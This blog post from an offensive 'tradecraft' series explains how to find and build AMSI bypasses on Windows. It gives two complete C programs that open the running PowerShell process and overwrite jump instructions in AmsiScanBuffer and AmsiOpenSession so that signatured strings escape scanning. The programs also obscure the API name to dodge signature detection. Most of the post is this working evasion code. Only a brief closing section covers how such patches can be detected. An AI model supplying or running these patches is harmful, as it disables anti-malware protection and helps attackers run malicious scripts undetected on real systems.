Tradecraft Improvement 4 - AMSI Bypass 2 - Finding AMSI Bypasses
Introduction
In the previous Blog we dove into the working and functionalities of AMSI. We understood how AMSI is loaded into a PowerShell session and how a session is created accordingly.
In this blog we will take a deeper look at the AMSI functions that we discussed in the previous blog and try to find out how and where we can implement our bypasses
Inspecting AMSI functions
AmsiScanBuffer
- We will first be looking into the AmsiScanBuffer function. According to Microsoft’s documentation is supposed to scan the buffer for malicious content.
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
- It takes the above parameters which we discussed in the previous blog.
AmsiScanStringcan be used as a wrapper for theAmsiScanBufferfunction. - Let’s take a look at the decompilation of this API in IDA Freeware.

- We can see that several checks are made through the API call
- Towards the end it also checks if the
amsiContextvariable is there or not.- If this variable does not contain any value, it exits out with an error
- This is something which we can always try to achieve with AMSI bypasses
- We either need to force AMSI into an error which will make it exit out or we need to patch any of the opcodes.

- The disassembly shows that there are 2 outcomes for all the checks
- Either the function exits without an error or the function returns without an error.
AmsiOpenSession

- Since
AmsiOpenSessionis called beforeAmsiScanBufferwe can attack this API as well - We can see that if the
amsiContextis zero here then also it can error out

Now that we have some basic idea about the AMSI functions, we can start implementing our bypasses
In this blog I will primarily use C to implement the bypasses. Then I will move on to PowerShell to demonstrate similar methods.
Patching AmsiScanBuffer
We will start with the most common AMSI bypass i.e. patching out AmsiScanBuffer. As we have already seen that if we patch any of the conditional jump statements so that it always exits out with an error we can force AMSI quit.

- So we will target the first conditional jump statement that is supposed to jump to the error condition if
rbpvalue is 0- We can try and change the conditional jump statement to an unconditional jump statement. In this way we won’t have to change the value of
rbpregister.
- We can try and change the conditional jump statement to an unconditional jump statement. In this way we won’t have to change the value of

Here we can see the conditional jump statement before we have modified it.

To modify it, click on the line and press Space. Here you can type the instruction that you want. I changed jz to jmp this will force the API to always take the jump even if the condition doesn’t match.

Here we can see that it will take the jmp even though the condition is not met and AMSI will exit out with an error. Also, notice that I have entered a signatured string in PowerShell that is passed to AmsiScanBuffer
If we continue through the execution flow, we will find that the string wasn’t blocked by AMSI


Logic behind the bypass
- First we need to find the address of
AmsiScanBufferstarting. - Then using that address we will find that address of the instruction that we want to patch

-
The starting address is
0x00007FFA04D081A0and the address of thejeinstruction that we want to patch is0x00007FFA04D081F9.- Therefore the difference between these 2 addresses will be
0x59 - This means we will have to patch the instruction at the address
AmsiScanBuffer_start + 0x59
- Therefore the difference between these 2 addresses will be
-
Now once we patch the instruction we will notice that the opcode is
0xeb 0x4c- This basically translates to
jmp 0x4e. Here0x4eis the distance between the jump instruction and the address where we want to jump. In our case the return error instruction block
- This basically translates to
-
Once we overwrite the instruction with our own opcode, we can continue execution normally and AMSI will error out
Implementing AmsiScanBuffer patch
- We will try to implement
AmsiScanBufferpatching in C because this will help in understanding the underlying logic more clearly. - Later on we can use the same logic and transfer it to PowerShell or C# as required
agent.c
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
DWORD FindProc(char* name)
{
//Creating a handle for the snapshot processes
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // The TH32CS_SNAPPROCESS includes all the processes in the system
if (hSnapshot == INVALID_HANDLE_VALUE)
{
printf("Failed creating Snapshot\n");
return -1; // Creating a snapshot failed
}
PROCESSENTRY32 procEntry; // This is the snapshot object
procEntry.dwSize = sizeof(procEntry);
BOOL res = Process32First(hSnapshot, &procEntry);
if (res == FALSE)
{
printf("Grabbing the first process snapshot failed\n");
return -1;
}
// Cycle through all the process snapshots until there is none to view
for(procEntry; Process32Next(hSnapshot, &procEntry) != NULL;)
{
if(strcmp(procEntry.szExeFile, name) == 0)
{
CloseHandle(hSnapshot);
return procEntry.th32ProcessID;
}
}
// Cleanup
CloseHandle(hSnapshot);
return 0;
}
int main()
{
unsigned char amsiName[] = {'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r'};
PDWORD amsiScanbuffer_p = (PDWORD)GetProcAddress(LoadLibrary("amsi.dll"), amsiName);
unsigned char bytes[] = {0xeb, 0x4c};
SIZE_T write;
DWORD pid = FindProc("powershell.exe");
HANDLE ProcHandle = NULL;
if (pid != 0)
{
ProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
}
else
{
printf("Error1: %d\n", GetLastError());
return -1;
}
DWORD oldprotect;
BOOL res = VirtualProtectEx(ProcHandle, ((PBYTE)amsiScanbuffer_p + 0x59), sizeof(bytes)*10, PAGE_READWRITE, &oldprotect);
printf("Address: %p\n", ((PBYTE)amsiScanbuffer_p+0x59));
WriteProcessMemory(ProcHandle, ((PBYTE)amsiScanbuffer_p + 0x59), bytes, sizeof(bytes), &write);
printf("Error3 : %p\n", GetLastError());
printf("Bytes written: %d\n", write);
res = VirtualProtectEx(ProcHandle, ((PBYTE)amsiScanbuffer_p + 0x59), sizeof(bytes) * 10, oldprotect, &oldprotect);
printf("Res: %d\n", res);
getchar();
return 0;
}
- Let break down the code that we are using here
- Starting from
main()function, we are first loading the stringAmsiScanBufferas a character array. This will prevent signature based detection to some extend - Next we use
GetProcAddressandLoadLibraryto load the addresses ofamsi.dll. Here we are usingLoadLibraryinstead ofGetModuleHandlebecauseamsi.dllis not loaded by default
unsigned char amsiName[] = {'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r'};
PDWORD amsiScanbuffer_p = (PDWORD)GetProcAddress(LoadLibrary("amsi.dll"), amsiName);
- Next we will define the bytes that we are going to use to patch the jump instruction in
AmsiScanBuffer. In our case0xeb 0x4c - We will use the
FindProc()function to find the Process ID of the PowerShell process.- The
FindProcfunction usesCreateToolhelp32SnapshotAPI to take a snapshot of all running processes and find thepowershell.exeprocess among them - Then it returns the Process ID of the PowerShell process
- The
OpenProcessAPI is used to get a handle to the process with all access to that process. The privileges of our executing payload should be same or greater than that of the target process in order have complete control over it
unsigned char bytes[] = {0xeb, 0x4c};
SIZE_T write;
DWORD pid = FindProc("powershell.exe");
HANDLE ProcHandle = NULL;
if (pid != 0)
{
ProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
}
else
{
printf("Error1: %d\n", GetLastError());
return -1;
}
- Next we use
VirtualProtectExto change the memory protection toRWwhich will allow us to write our required bytes and patch the instructions - We use
WriteProcessMemoryto write the bytes and again useVirtualProtectExto change back permissions to its original value.
DWORD oldprotect;
BOOL res = VirtualProtectEx(ProcHandle, ((PBYTE)amsiScanbuffer_p + 0x59), sizeof(bytes)*10, PAGE_READWRITE, &oldprotect);
printf("Address: %p\n", ((PBYTE)amsiScanbuffer_p+0x59));
WriteProcessMemory(ProcHandle, ((PBYTE)amsiScanbuffer_p + 0x59), bytes, sizeof(bytes), &write);
printf("Error3 : %p\n", GetLastError());
printf("Bytes written: %d\n", write);
res = VirtualProtectEx(ProcHandle, ((PBYTE)amsiScanbuffer_p + 0x59), sizeof(bytes) * 10, oldprotect, &oldprotect);
printf("Res: %d\n", res);
getchar();
I have placed a getchar() so that we can attach a debugger and check the value of our target instruction before it exits out.
Executing and examining our program
I have use mingw-w64 to compile the program for 64 bit Windows.
- To test it out, first start a PowerShell instance and attach a debugger to it.
- Then run the payload binary in that PowerShell session.

- We will find that our address has been patched.
- Continue through the execution of our payload and again type a signatured string

- This time we will find that there was no warning from AMSI and our signatured string was not detection
This shows that we have successfully bypassed AMSI.
Patching AmsiOpenSession
In a similar way we can also patch AmsiOpenSession API which is being called before AmsiScanBuffer when we enter a string in the PowerShell prompt. Therefore, when a new scan needs to be performed this API is called to create a new session

- Taking a look at the disassembly we can see that there are several checks which if fail will go straight to the error condition.
- This means we can patch any of these instructions and force AMSI to exit out.
NOTE: the error code 80070057h is E_INVALIDARG. This error is there so that while checking for amsiContext and amsiSesssion structures, it they are not present.
Implementing the logic
- We can take a jump instruction and try to patch it accordingly

- In this example we will try to patch the second conditional jump statement.

Now that I have changed it to unconditional jump statement, it will always force AMSI to exit out with an error

In the second execution if you go through the execution of the API we will find that there is no alert from AMSI.
Now we can start implementing this logic into our code
agent.c
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
DWORD FindProc(char* name)
{
//Creating a handle for the snapshot processes
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // The TH32CS_SNAPPROCESS includes all the processes in the system
if (hSnapshot == INVALID_HANDLE_VALUE)
{
printf("Failed creating Snapshot\n");
return -1; // Creating a snapshot failed
}
PROCESSENTRY32 procEntry; // This is the snapshot object
procEntry.dwSize = sizeof(procEntry);
BOOL res = Process32First(hSnapshot, &procEntry);
if (res == FALSE)
{
printf("Grabbing the first process snapshot failed\n");
return -1;
}
// Cycle through all the process snapshots until there is none to view
for(procEntry; Process32Next(hSnapshot, &procEntry) != NULL;)
{
if(strcmp(procEntry.szExeFile, name) == 0)
{
CloseHandle(hSnapshot);
return procEntry.th32ProcessID;
}
}
// Cleanup
CloseHandle(hSnapshot);
return 0;
}
int main()
{
unsigned char amsiName[] = {'A', 'm', 's', 'i', 'O', 'p', 'e', 'n', 'S', 'e', 's', 's', 'i', 'o', 'n'};
PDWORD amsiOpenSession_p = (PDWORD)GetProcAddress(LoadLibrary("amsi.dll"), amsiName);
unsigned char bytes[] = {0xeb, 0x07};
SIZE_T write;
DWORD pid = FindProc("powershell.exe");
HANDLE ProcHandle = NULL;
if (pid != 0)
{
ProcHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
}
else
{
printf("Error1: %d\n", GetLastError());
return -1;
}
DWORD oldprotect;
BOOL res = VirtualProtectEx(ProcHandle, ((PBYTE)amsiOpenSession_p + 0x8), sizeof(bytes)*10, PAGE_READWRITE, &oldprotect);
printf("Address: %p\n", ((PBYTE)amsiOpenSession_p+0x8));
WriteProcessMemory(ProcHandle, ((PBYTE)amsiOpenSession_p + 0x8), bytes, sizeof(bytes), &write);
res = VirtualProtectEx(ProcHandle, ((PBYTE)amsiOpenSession_p + 0x8), sizeof(bytes)*10, oldprotect, &oldprotect);
printf("Error3 : %p\n", GetLastError());
printf("Bytes written: %d\n", write);
getchar();
return 0;
}
- This is very similar to
AmsiScanBufferpatch - We first take the PID of the PowerShell process
- Then using the PID we open a handle to the process
- Next we use
VirtualProtectExto change the memory permissions to write our patch - Here our patch will be at a distance of
0x8bytes from the start ofAmsiOpenSession - Also when we write the patch we can see that the bytes will be changed to
0xeb 0x07which is the opcode forjmp 0x9where0x9is the distance at which the jump destination is. - Once the opcodes are patched with our own we will restore the original memory protection

Notice the address mentioned by our payload and the address where the jmp instruction is patched. Continuing through the program we will find that our signatured string is no longer flagged.

DETECTIONS!!!!
There are several ways in which a patched function can be identified. In our case AmsiScanBuffer or AmsiOpenSession
- Firstly we can check if there’s any
jmporretstatement at the beginning of the function. This means that the function has definitely been patched.- Also if an attacker directly uses a
retstatement at the beginning of an API it can be detected from the stack values since they will be popped even before the strings are being loaded
- Also if an attacker directly uses a
- Any direct interaction with
amsi.dllof a target process can be easily flagged. This is because any process should not be interacting withamsi.dllloaded in another process.
Code and Makefile for both the bypasses can be found here